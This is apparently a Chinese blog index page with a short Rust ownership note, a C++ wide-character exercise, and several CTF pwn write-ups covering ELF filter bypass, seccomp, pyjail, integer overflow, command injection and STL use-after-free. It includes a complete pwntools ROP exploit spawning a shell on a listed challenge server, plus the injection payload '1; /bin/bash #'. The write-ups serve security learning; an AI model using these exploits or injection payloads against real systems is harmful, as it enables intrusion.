快来和我贴贴qaq

所有权

rust的数据类型分为两种,一种是实现了copy trait的数据类型如i32 u32,一种是没有实现copy trait的数据类型,如String,在进行变量间的赋值操作时,实现了copy trait类型的数据类型会将数据复制一份过去。而没有实现copy trait的数据类型则会将数据的所有权转移,先前对数据进行引用的符号的生命周期就结束了

e.g.

fn main() {
    let x: i32 = 5;
    let y = x;
    println!("x = {}, y = {}", x, y);

    let s1 = String::from("hello");
    let s2 = s1;
    println!("{}", s2);

}

引用类型

rust的引用类型可分为可变引用和不可变引用,可以理解为编译期间进行严格生命周期及检查的”智能指针”,不可变引用对于数据只能做读的行为,可变引用可以做写的行为。使用引用可以在不转移所有权的情况下对对象进行读写操作。

使用方法 e.g

fn main() {
    let mut value = 10;
	// 不可变引用
    let r1 = &value;
    println!("{}", r1);
    // 可变引用
    let r2 = &mut value;
    *r2 += 5;
    println!("{}", value);
}

可变引用在进行写行为时需要显式解引用,这里相对c的指针来说有些差别

可变引用和不可变引用有严格的使用规定,同一作用域下 同一对象不能拥有两个可变引用,同一作用域下对于同一对象不能同时存在可变引用和不可变引用,通过对引用的使用进行限制来避免数据竞争。但这只是官方文档的说法,可以同一作用域下同时存在可变引用和不可变引用,以及多个可变引用,程序也可以编译成功,关键在于存在的情况下是否有使用可变引用,使用了就会编译错误。

Read More
post @ 2025-04-29

不宽的宽字符(general)

description

A 同学决定让他设计的 Windows 程序更加「国际化」一些,首先要做的就是读写各种语言写下的文件名。于是他放弃 C 语言中的 char,转而使用宽字符 wchar_t,显然这是一个国际化的好主意。

经过一番思考,他写出了下面这样的代码,用来读入文件名:

// Read the filename
std::wstring filename;
std::getline(std::wcin, filename);

转换后要怎么打开文件呢?小 A 使用了 C++ 最常见的写法:

// Create the file object and open the file specified
std::wifstream f(filename);

可惜的是,某些版本的 C++ 编译器以及其自带的头文件中,文件名是 char 类型的,因此这并不正确。这时候小 A 灵光一闪,欸🤓👆,我为什么不做一个转换呢?于是:

std::wifstream f((char*)filename);

随便找了一个文件名测试过无误后,小 A 对自己的方案非常自信,大胆的在各个地方复用这段代码。然而,代价是什么呢?

Read More
post @ 2025-04-09

pwn

Extremely Lame Filters 1

#!/usr/bin/python3

from elf import *
from base64 import b64decode

data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!!"))
elf = parse(data)

for section in elf.sections:
    if section.sh_flags & SectionFlags.EXECINSTR:
        raise ValidationException("!!")

elf.run()

https://www.man7.org/linux/man-pages/man5/elf.5.html

程序检查 elf中是否存在 sh_flags设置过execinstr标志位的section来判断是否存在有可执行权限的段,但实际上段的权限和program header的p_flags标志位有关,所以可以通过修改sh_flags以及p_flags的值去绕过上面的检查执行shellcode

program_header_table是一个描述程序的每个段如何加载到内存的表,它定义了进程运行时内存布局

program_header_table的位置可以通过elf_header中PHT的偏移找到

lhj@lhj-virtual-machine:~/Desktop/squ1rrel/Extremely Lame Filters 1$ readelf -a shellcode
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401000
  Start of program headers:          64 (bytes into file)
  Start of section headers:          4336 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         2
  Size of section headers:           64 (bytes)
  Number of section headers:         5
  Section header string table index: 4

成员的结构如下 每个成员的解释可以在man7中找到 https://www.man7.org/linux/man-pages/man5/elf.5.html

typedef struct {
    uint32_t   p_type;
    uint32_t   p_flags;
    Elf64_Off  p_offset;
    Elf64_Addr p_vaddr;
    Elf64_Addr p_paddr;
    uint64_t   p_filesz;
    uint64_t   p_memsz;
    uint64_t   p_align;
} Elf64_Phdr;
Read More
post @ 2025-01-27

pwn

devnull-as-a-service

description

A few months ago, I came across this website. Inspired by it, I decided to recreate the service in C to self-host it.
To avoid any exploitable vulnerabilities, I decided to use a very strict seccomp filter. Even if my code were vulnerable, good luck exploiting it.
PS: You can find the flag at /home/ctf/flag.txt on the remote server.

程序逻辑很简单,gets栈溢出,静态链接没有pie但是开启了seccomp

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  dev_null();
  return 0;
}
__int64 dev_null()
{
  char v1[8]; // [rsp+8h] [rbp-8h] BYREF

  puts("[/dev/null as a service] Send us anything, we won't do anything with it.");
  enable_seccomp();
  return gets(v1);
}

seccomp规则,可以使用openat代替open然后read wrtie将flag读出来

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x1c 0xc000003e  if (A != ARCH_X86_64) goto 0030
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x19 0xffffffff  if (A != 0xffffffff) goto 0030
 0005: 0x15 0x18 0x00 0x00000002  if (A == open) goto 0030
 0006: 0x15 0x17 0x00 0x00000003  if (A == close) goto 0030
 0007: 0x15 0x16 0x00 0x00000012  if (A == pwrite64) goto 0030
 0008: 0x15 0x15 0x00 0x00000014  if (A == writev) goto 0030
 0009: 0x15 0x14 0x00 0x00000016  if (A == pipe) goto 0030
 0010: 0x15 0x13 0x00 0x00000020  if (A == dup) goto 0030
 0011: 0x15 0x12 0x00 0x00000021  if (A == dup2) goto 0030
 0012: 0x15 0x11 0x00 0x00000028  if (A == sendfile) goto 0030
 0013: 0x15 0x10 0x00 0x00000029  if (A == socket) goto 0030
 0014: 0x15 0x0f 0x00 0x0000002c  if (A == sendto) goto 0030
 0015: 0x15 0x0e 0x00 0x0000002e  if (A == sendmsg) goto 0030
 0016: 0x15 0x0d 0x00 0x00000031  if (A == bind) goto 0030
 0017: 0x15 0x0c 0x00 0x00000038  if (A == clone) goto 0030
 0018: 0x15 0x0b 0x00 0x00000039  if (A == fork) goto 0030
 0019: 0x15 0x0a 0x00 0x0000003a  if (A == vfork) goto 0030
 0020: 0x15 0x09 0x00 0x0000003b  if (A == execve) goto 0030
 0021: 0x15 0x08 0x00 0x00000065  if (A == ptrace) goto 0030
 0022: 0x15 0x07 0x00 0x00000113  if (A == splice) goto 0030
 0023: 0x15 0x06 0x00 0x00000114  if (A == tee) goto 0030
 0024: 0x15 0x05 0x00 0x00000124  if (A == dup3) goto 0030
 0025: 0x15 0x04 0x00 0x00000125  if (A == pipe2) goto 0030
 0026: 0x15 0x03 0x00 0x00000128  if (A == pwritev) goto 0030
 0027: 0x15 0x02 0x00 0x00000137  if (A == process_vm_writev) goto 0030
 0028: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0030
 0029: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0030: 0x06 0x00 0x00 0x00000000  return KILL

但是程序中找不到syscall ;ret 这类gadget,需要连续三次系统调用,想了一下直接用mprotect将bss的权限改成r | w | x的,往里面写orw_assemble直接跳过去就好了

exp

Read More
post @ 2025-01-27

pwn

嘛,因为学校那边的事情,好久没有打ctf了,找个beginner难度的ctf热身一下

Knight’s Secret

pyjail?? 题目自定义了一个person类,可以访问person类的属性,方法。题目目标只需要获取程序环境中的key,通过内置方法 mro返回的继承链数组来获取object对象,拿到object对象后就可以通过globals内置方法去检索程序中有的属性 方法拿到key

exp

Enter your secret: {person_obj.__class__.__mro__[0].__init__.__globals__}
Output: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x76a7e6a7b920>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/challenge/challenge.py', '__cached__': None, 'CONFIG': {'KEY': '_KNIGHTSECRET2025_'}, 'Person': <class '__main__.Person'>, 'fun': <function fun at 0x76a7e6a62340>, 'main': <function main at 0x76a7e6840d60>}

Knight Bank

整数溢出,让uint溢出就好了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+8h] [rbp-8h] BYREF
  unsigned int v5; // [rsp+Ch] [rbp-4h]

  v5 = 1000;
  puts("Welcome to the Knight Bank!");
  fflush(_bss_start);
  printf("Your current balance is: %u\n", 1000LL);
  fflush(_bss_start);
  printf("Enter the amount you want to withdraw: ");
  fflush(_bss_start);
  if ( (unsigned int)__isoc99_scanf("%u", &v4) == 1 )
  {
    if ( v4 <= 0xF4240 )
    {
      v5 -= v4;
      printf("You withdrew %u. Your new balance is %u.\n", v4, v5);
      fflush(_bss_start);
      if ( v5 <= 0xF4240 )
      {
        puts("Better luck next time!");
        fflush(_bss_start);
      }
      else
      {
        win_prize();
      }
      return 0;
    }
    else
    {
      puts("Error: You cannot withdraw more than 1,000,000 at a time.");
      fflush(_bss_start);
      return 1;
    }
  }
  else
  {
    puts("Invalid input. Exiting.");
    fflush(_bss_start);
    return 1;
  }
}

int win_prize()
{
  puts("Congratulations! You win the prize!");
  fflush(_bss_start);
  return system("cat flag.txt");
}

exp

Read More
post @ 2024-10-23

前言

太菜了了喵,不懂dev 不懂algo

总排名 #68,校外排名 #22,差四十分就能拿到三等奖了还是太菜了

签到

啊这,看起来像是压缩包套娃,随便点了几下就找到flag了

flag{W3LCOME-TO-THE-GUTSY-GUSHY-GEEKGAME}

清北问答

flag1

flag{jailbreak-master-unleashed}

flag2

Read More
post @ 2024-09-07

iot

We found a command injection….. but you have to reboot the router to activate it…

Reboot(Misc)

### IMPORTS ###
import os, time, sys


### INPUT ###
hostname = 'bababooey'

while True:
    print('=== MENU ===')
    print('1. Set hostname')
    print('2. Reboot')
    print()
    choice = input('Choice: ')

    if choice == '1':
        hostname = input('Enter new hostname (30 chars max): ')[:30]

    elif choice == '2':
        print("Rebooting...")
        sys.stdout.flush()
        time.sleep(30)
        os.system(f'cat /etc/hosts | grep {hostname} -i')
        print('Reboot complete')

    else:
        print('Invalid choice')

命令注入? 查询了一下shell相关的文档,发现可以通过 ;去连接两条子命令,# 去注释掉 -i

exp

1; /bin/bash #

Sal(HardWare)

A few friends and I recently hacked into a consumer-grade home router. Our first goal was to obtain the firmware. To do that, we hooked up a SOIC-8 clip to the external flash memory chip, connected a Saleae Logic Pro 8 logic analyzer, and captured data using Logic 2 as we booted up the IoT device. The external flash memory chip was Winbond 25Q128JVSQ.

What's the md5sum of /etc/passwd?

Flag format - byuctf{hash}

external flash memory chip(外部存储芯片) 一般用来存数据(文件系统),需要分析Saleae逻辑分析仪捕获的信号,来还原这个文件系统

Read More
post @ 2024-09-04

题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2024pwn

pstack

程序逻辑非常简单,存在栈溢出只能覆盖返回地址,没有pie,通过二次栈迁移,控制rbp来实现任意地址写,然后第一次栈迁移往bss写满泄露地址的rop,之后二次迁移过去执行就可以执行rop,第一次rop泄露地址,第二次rop直接getshell

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "139.155.126.78"
PORT = 32922
elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

p = connect()

rdi=0x0000000000400773
rbp=0x00000000004005b0
leave_ret=0x4006DB
ret=0x4006DC
vuln=0x4006C4

payload = flat([
    b'a' * 0x30,0x601730,vuln
])
sa("Can you grasp this little bit of overflow?",payload)

payload = flat([
    rdi,elf.got['read'],elf.plt['puts'],
    rbp,0x601a30,vuln,
    0x6016f8,leave_ret
])
s(payload)
rl()
libc_base = u64(r(6).ljust(8,b'\x00')) -libc.sym['read']
success(hex(libc_base))

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

payload = flat([
    rdi,binsh,system,b'a' * 0x18,
    0x6019f8,leave_ret
])
s(payload)

p.interactive()

httpd

// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int result; // eax
  int v6; // eax
  int v7; // eax
  struct tm *v8; // eax
  __time_t tv_sec; // edi
  int st_size; // esi
  const char *v11; // eax
  struct dirent **namelist; // [esp+8h] [ebp-14134h] BYREF
  int v13; // [esp+Ch] [ebp-14130h] BYREF
  int v14; // [esp+10h] [ebp-1412Ch] BYREF
  int v15; // [esp+14h] [ebp-14128h] BYREF
  int v16; // [esp+18h] [ebp-14124h] BYREF
  char v17; // [esp+1Ch] [ebp-14120h] BYREF
  char *haystack; // [esp+20h] [ebp-1411Ch]
  int i; // [esp+24h] [ebp-14118h]
  size_t v20; // [esp+28h] [ebp-14114h]
  char *has_host; // [esp+2Ch] [ebp-14110h]
  char *v22; // [esp+30h] [ebp-1410Ch]
  int stdout_fd; // [esp+34h] [ebp-14108h]
  int v24; // [esp+38h] [ebp-14104h]
  FILE *stream; // [esp+3Ch] [ebp-14100h]
  int v26; // [esp+40h] [ebp-140FCh]
  FILE *v27; // [esp+44h] [ebp-140F8h]
  int c; // [esp+48h] [ebp-140F4h]
  struct stat v29; // [esp+4Ch] [ebp-140F0h] BYREF
  char modes[2]; // [esp+A6h] [ebp-14096h] BYREF
  char v31[16]; // [esp+A8h] [ebp-14094h] BYREF
  char v32[116]; // [esp+B8h] [ebp-14084h] BYREF
  char v33[1908]; // [esp+12Ch] [ebp-14010h] BYREF
  char input_data[10000]; // [esp+8A0h] [ebp-1389Ch] BYREF
  char httpMethod[10000]; // [esp+2FB0h] [ebp-1118Ch] BYREF
  char requestPath; // [esp+56C0h] [ebp-EA7Ch] BYREF
  char v37[9999]; // [esp+56C1h] [ebp-EA7Bh] BYREF
  char httpVersion[10000]; // [esp+7DD0h] [ebp-C36Ch] BYREF
  char file[20000]; // [esp+A4E0h] [ebp-9C5Ch] BYREF
  char v40[15588]; // [esp+F300h] [ebp-4E3Ch] BYREF
  __int64 v41; // [esp+12FE4h] [ebp-1158h]
  char *v42; // [esp+12FECh] [ebp-1150h]
  int v43; // [esp+1312Ch] [ebp-1010h] BYREF
  unsigned int v44; // [esp+14120h] [ebp-1Ch]
  int *p_argc; // [esp+1412Ch] [ebp-10h]

  p_argc = &argc;
  while ( &v43 != (int *)v33 )
    ;
  v44 = __readgsdword(0x14u);
  memset(&v33[884], 0, 1024);
  v20 = 0;
  strcpy(modes, "r");
  if ( chdir("/home/ctf/html") < 0 )
    puts_error(500, (int)"Internal Error", 0, "Config error - couldn't chdir().");
  if ( !fgets(input_data, 10000, stdin) )
    puts_error(400, (int)"Bad Request", 0, "No request found.");
  if ( __isoc99_sscanf(input_data, "%[^ ] %[^ ] %[^ ]", httpMethod, &requestPath, httpVersion) != 3 )
    puts_error(400, (int)"Bad Request", 0, "Can't parse request.");
  if ( !fgets(input_data, 10000, stdin) )
    puts_error(400, (int)"Bad Request", 0, "Missing Host.");
  has_host = strstr(input_data, "Host: ");
  if ( !has_host )
    puts_error(400, (int)"Bad Request", 0, "Missing Host.");
  v22 = strstr(has_host + 6, "\r\n");
  if ( v22 )
  {
    *v22 = 0;
  }
  else
  {
    v22 = strchr(has_host + 6, (int)"\n");
    if ( v22 )
      *v22 = 0;
  }
  if ( strlen(has_host + 6) <= 7 )
    puts_error(400, (int)"Bad Request", 0, "Host len error.");
  if ( has_host == (char *)-6 || !has_host[6] )
    puts_error(400, (int)"Bad Request", 0, "Host fmt error.");
  v42 = &v17;
  HIDWORD(v41) = &v16;
  __isoc99_sscanf(has_host + 6, "%d.%d.%d.%d%c", &v13, &v14, &v15);
  if ( !fgets(input_data, 10000, stdin) )
    puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
  has_host = strstr(input_data, "Content-Length: ");
  if ( !has_host )
    puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
  v22 = strstr(has_host + 16, "\r\n");
  if ( v22 )
  {
    *v22 = 0;
  }
  else
  {
    v22 = strchr(has_host + 16, (int)"\n");
    if ( v22 )
      *v22 = 0;
  }
  if ( strlen(has_host + 16) > 5 )
    puts_error(400, (int)"Bad Request", 0, "Content-Length len too long.");
  if ( strcasecmp(httpMethod, "get") )
    puts_error(501, (int)"Not Implemented", 0, "That method is not implemented.");
  if ( strncmp(httpVersion, "HTTP/1.0", 8u) )
    puts_error(400, (int)"Bad Request", 0, "Bad protocol.");
  if ( requestPath != 47 )
    puts_error(400, (int)"Bad Request", 0, "Bad filename.");
  haystack = v37;
  urldecode(v37, v37);
  if ( !*haystack )
    haystack = "./";
  v20 = strlen(haystack);
  if ( *haystack == '/'                         // 目录穿越检查
    || !strcmp(haystack, "..")
    || !strncmp(haystack, "../", 3u)
    || strstr(haystack, "/../")
    || !strcmp(&haystack[v20 - 3], "/..") )
  {
    puts_error(400, (int)"Bad Request", 0, "Illegal filename.");
  }
  if ( !sub_1F74(haystack) )
    puts_error(404, (int)"Not Found", 0, "Invalid file name.");
  v3 = fileno(stdout);
  stdout_fd = dup(v3);
  v4 = fileno(stderr);
  v24 = dup(v4);
  freopen("/dev/null", "w", stdout);
  freopen("/dev/null", "w", stderr);
  stream = popen(haystack, modes);
  if ( stream )
  {
    pclose(stream);
    v6 = fileno(stdout);
    dup2(stdout_fd, v6);
    v7 = fileno(stderr);
    dup2(v24, v7);
    close(stdout_fd);
    close(v24);
    if ( stat(haystack, &v29) < 0 )
      puts_error(404, (int)"Not Found", 0, "File not found.");
    if ( (v29.st_mode & 0xF000) == 0x4000 )
    {
      if ( haystack[v20 - 1] != 47 )
      {
        snprintf(v40, 0x4E20u, "Location: %s/", &requestPath);
        puts_error(302, (int)"Found", (int)v40, "Directories must end with a slash.");
      }
      snprintf(file, 0x4E20u, "%sindex.html", haystack);
      if ( stat(file, &v29) < 0 )
      {
        sub_23D9(200, "Ok", 0, (int)"text/html", -1, v29.st_mtim.tv_sec);
        v26 = scandir(haystack, &namelist, 0, (int (*)(const void *, const void *))&alphasort);
        if ( v26 >= 0 )
        {
          for ( i = 0; i < v26; ++i )
          {
            sub_2704(v32, 0x3E8u, (unsigned __int8 *)namelist[i]->d_name);
            snprintf(file, 0x4E20u, "%s/%s", haystack, namelist[i]->d_name);
            if ( lstat(file, &v29) >= 0 )
            {
              v8 = localtime(&v29.st_mtim.tv_sec);
              strftime(v31, 0x10u, "%d%b%Y %H:%M", v8);
              printf("<a href=\"%s\">%-32.32s</a>%15s %14lld\n", v32, namelist[i]->d_name, v31, (__int64)v29.st_size);
              sub_20C6(file);
            }
            else
            {
              printf("<a href=\"%s\">%-32.32s</a>    ???\n", v32, namelist[i]->d_name);
            }
            printf(
              "</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n",
              "https://2024ycb.dasctf.com/",
              "YCB2024");
          }
        }
        else
        {
          perror("scandir");
        }
        goto LABEL_74;
      }
      haystack = file;
    }
    v27 = fopen(haystack, "r");
    if ( !v27 )
      puts_error(403, (int)"Forbidden", 0, "File is protected.");
    tv_sec = v29.st_mtim.tv_sec;
    st_size = v29.st_size;
    v11 = sub_2566(haystack);
    sub_23D9(200, "Ok", 0, (int)v11, st_size, tv_sec);
    while ( 1 )
    {
      c = getc(v27);
      if ( c == -1 )
        break;
      putchar(c);
    }
LABEL_74:
    fflush(stdout);
    exit(0);
  }
  result = -1;
  if ( v44 != __readgsdword(0x14u) )
    check_canary();
  return result;
}

程序的逻辑很长,实现了一个http request parse,然后相应请求,大多数逻辑都是对http request的格式做判断,还有目录穿越的检查

漏洞出在这里popen这里

这个popen会fork一个子进程,然后调用shell,把参数传过去,也没有做过滤,所以可以通过这里执行命令

exp

Read More
post @ 2024-09-02

题目附件https://github.com/nyyyddddn/ctf/tree/main/gdbjail

最近在ImaginaryCTF看到两个关于gdbjail的题目,觉得挺有意思的,远程提供了一个受限的gdb调试环境,限制交互的时候使用的命令,目的是利用限制的命令去实现getshell,或者是将flag读出来。

没用过没装插件的gdb,不装插件挺难用的

gdbjail1

run.sh

#!/bin/bash

gdb -x /home/user/gdbinit

gdbinit

source /home/user/main.py

main.py

import gdb

def main():
    gdb.execute("file /bin/cat")
    gdb.execute("break read")
    gdb.execute("run")

    while True:
        try:
            command = input("(gdb) ")
            if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"):
                try:
                    gdb.execute(command)
                except gdb.error as e:
                    print(f"Error executing command '{command}': {e}")
            else:
                print("Only 'break', 'set', and 'continue' commands are allowed.")
        except:
            pass

if __name__ == "__main__":
    main()
Read More

题目附件https://github.com/nyyyddddn/ctf/tree/main/nssr3d_Iterator_Trap/Iterator_Trap

Iterator_Trap

这是一个关于stl迭代器不安全使用导致uaf的漏洞,第一次出和stl相关的题目

题目逻辑

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  uint32_t choice; // [rsp+Ch] [rbp-54h] BYREF
  std::vector<void*> chunklist; // [rsp+10h] [rbp-50h] BYREF
  std::vector<int> sizelist; // [rsp+30h] [rbp-30h] BYREF
  unsigned __int64 v6; // [rsp+48h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  std::vector<void *>::vector(&chunklist);
  std::vector<int>::vector(&sizelist);
  init();
  gift();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%u", &choice);
      if ( choice != 3 )
        break;
      edit_func(&chunklist, &sizelist);
    }
    if ( choice > 3 )
      break;
    if ( choice == 1 )
    {
      create_func(&chunklist, &sizelist);
    }
    else
    {
      if ( choice != 2 )
        break;
      delete_func(&chunklist, &sizelist);
    }
  }
  exit(0);
}

void __cdecl menu()
{
  puts("[1] void create(__uint32_t size,char *content)");
  puts("[2] void delete(__uint32_t idx)");
  puts("[3] void edit(__uint32_t idx,char *content)");
  printf(">>> ");
}

void __cdecl gift()
{
  void *v0; // rax

  v0 = sbrk(0LL);
  printf("Welcome to nssctf 3rd. gift: %p\n", v0);
}

void __cdecl create_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
  std::vector<int>::size_type v2; // rdx
  __gnu_cxx::__alloc_traits<std::allocator<int>,int>::value_type v3; // ebx
  std::vector<void*>::size_type v4; // rdx
  char **v5; // rax
  int size; // [rsp+1Ch] [rbp-24h] BYREF
  std::vector<void*>::value_type __x[3]; // [rsp+20h] [rbp-20h] BYREF

  __x[1] = (std::vector<void*>::value_type)__readfsqword(0x28u);
  puts("size: ");
  __isoc99_scanf("%d", &size);
  __x[0] = malloc(size);
  std::vector<void *>::push_back(chunklist, __x);
  std::vector<int>::push_back(sizelist, &size);
  puts("content: ");
  v2 = std::vector<int>::size(sizelist) - 1;
  v3 = *std::vector<int>::operator[](sizelist, v2);
  v4 = std::vector<void *>::size(chunklist) - 1;
  v5 = (char **)std::vector<void *>::operator[](chunklist, v4);
  my_fgets(*v5, v3, 0);
}

ssize_t __cdecl my_fgets(char *buf, int size, int fd)
{
  size_t v4; // rdx
  char ch_0; // [rsp+17h] [rbp-19h] BYREF
  size_t total_read; // [rsp+18h] [rbp-18h]
  ssize_t bytes_read; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  if ( size <= 0 || !buf )
    return -1LL;
  total_read = 0LL;
  while ( total_read < size - 1 )
  {
    bytes_read = read(fd, &ch_0, 1uLL);
    if ( ch_0 == 10 )
      break;
    v4 = total_read++;
    buf[v4] = ch_0;
  }
  return total_read;
}

void __cdecl delete_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
  std::vector<void*>::size_type M_current_low; // rbx
  void **v4; // rax
  int i; // [rsp+1Ch] [rbp-34h]
  __gnu_cxx::__normal_iterator<int*,std::vector<int> > v6; // [rsp+20h] [rbp-30h] BYREF
  __gnu_cxx::__normal_iterator<int*,std::vector<int> > __i; // [rsp+28h] [rbp-28h] BYREF
  __gnu_cxx::__normal_iterator<void* const*,std::vector<void*> > idx[3]; // [rsp+30h] [rbp-20h] BYREF

  idx[1]._M_current = (void *const *)__readfsqword(0x28u);
  for ( i = 0; i < std::vector<int>::size(sizelist); ++i )
  {
    if ( *std::vector<int>::operator[](sizelist, i) == -1 )
    {
      v6._M_current = std::vector<int>::begin(sizelist)._M_current;
      __i._M_current = __gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator+(&v6, i)._M_current;
      __gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(
        (__gnu_cxx::__normal_iterator<int const*,std::vector<int> > *const)idx,
        &__i);
      std::vector<int>::erase(sizelist, (std::vector<int>::const_iterator)idx[0]._M_current);
      v6._M_current = (int *)std::vector<void *>::begin(chunklist)._M_current;
      __i._M_current = (int *)__gnu_cxx::__normal_iterator<void **,std::vector<void *>>::operator+(
                                (const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *const)&v6,
                                i)._M_current;
      __gnu_cxx::__normal_iterator<void * const*,std::vector<void *>>::__normal_iterator<void **>(
        idx,
        (const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *)&__i);
      std::vector<void *>::erase(chunklist, idx[0]);
    }
  }
  puts("idx: ");
  __isoc99_scanf("%d", idx);
  if ( SLODWORD(idx[0]._M_current) >= 0
    && (M_current_low = SLODWORD(idx[0]._M_current), M_current_low < std::vector<void *>::size(chunklist)) )
  {
    v4 = std::vector<void *>::operator[](chunklist, SLODWORD(idx[0]._M_current));
    free(*v4);
    *std::vector<int>::operator[](sizelist, SLODWORD(idx[0]._M_current)) = -1;
    puts("success");
  }
  else
  {
    puts("error");
  }
}

漏洞出在 delete_func这边 在delete前会根据sizelist容器中成员的值,判断哪些是free状态的成员然后再erase这些成员,但是在erase的时候是根据begin() + i 去erase的,erase完后容器的大小发生了变化,下一个begin() + i 就不是原先的 begin() + i了,所以在delete的时候并不能earse连续的free状态的成员,所以存在一个uaf。 然后create的时候size也没有做下界的判断,所以可以通过create_func去创建连续负值的size去构造uaf。

gift 通过sbrk 给了堆地址,就不用泄露堆地址,然后这个edit其实可以当show来用,实现出任意地址申请后,可以申请到堆上vector成员的位置,再配合edit,就可以实现多次任意地址写,泄露出environ后,用任意地址写去写子函数的返回地址打rop去getshell

或者是打fsop house of apple2的利用链,只需要泄露libc还有实现一次任意地址写,之后伪造iofile,宽字符的虚表后就可以getshell

劫持vector 把任意地址申请增强 转换成可以用很简单的方式实现任意地址读写的做法

exp

Read More
⬆︎TOP